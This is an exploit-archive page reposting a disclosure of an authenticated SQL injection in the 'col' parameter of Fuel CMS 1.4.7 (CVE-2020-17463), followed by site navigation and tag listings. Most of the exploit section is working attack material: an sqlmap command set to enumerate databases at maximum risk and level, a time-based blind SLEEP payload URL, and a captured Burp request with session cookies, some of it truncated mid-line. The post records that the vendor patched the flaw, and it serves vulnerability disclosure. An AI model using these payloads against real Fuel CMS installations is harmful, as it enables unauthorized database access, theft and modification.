Fuel CMS 1.4.7 SQL Injection

Authored by Roel van Beurden

Posted Aug 12, 2020

Fuel CMS version 1.4.7 suffers from an authenticated remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-17463
SHA-256 | 4ae5ec0beb2c3044f53f42044cecbb911c8cd94fdfd2abc8a690b12bc25f378c Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
# Google Dork: -
# Date: 2020-08-01
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.7.zip
# Version: 1.4.7
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-17463


1. Description:
----------------------

Fuel CMS 1.4.7 allows SQL Injection via parameter 'col' in pages/items, permissions/items, navigation/items and
logs/items
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit
latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'col' parameter and save it like
fuel.req
Then run SQLmap to extract the data from the database:

sqlmap -r fuel.req --risk=3 --level=5 --dbs --random-agent


3. Example payload:
----------------------

(time-based blind)

/fuelcms/pages/items/?
search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+
(SELECT(SLEEP(5)))ULQV)&fuel_inline=0


4. Burpsuite request:
----------------------

GET /fuelcms/pages/items/?
search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location%20AND%20(SELECT%201340%
HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: ci_session=2pvc8gmus9he9fbesp31kh1bc7oal188;
fuel_eeed351bf4de904070ff77c1aef15576=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3B
fuel_ui_eeed351bf4de904070ff77c1aef15576=%2528%257Bleftnav_h3%253A%25220%257C0%257C0%257C0%2522%252C%2520fuel_p

Upgrade-Insecure-Requests: 1


5. Timeline:
----------------------

2020-08-01: SQLi vulnerability found in Fuel CMS 1.4.7
2020-08-02: Reported vulnerability to vendor
2020-08-11: Vendor has patched the SQLi vulnerability in version 1.4.8
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed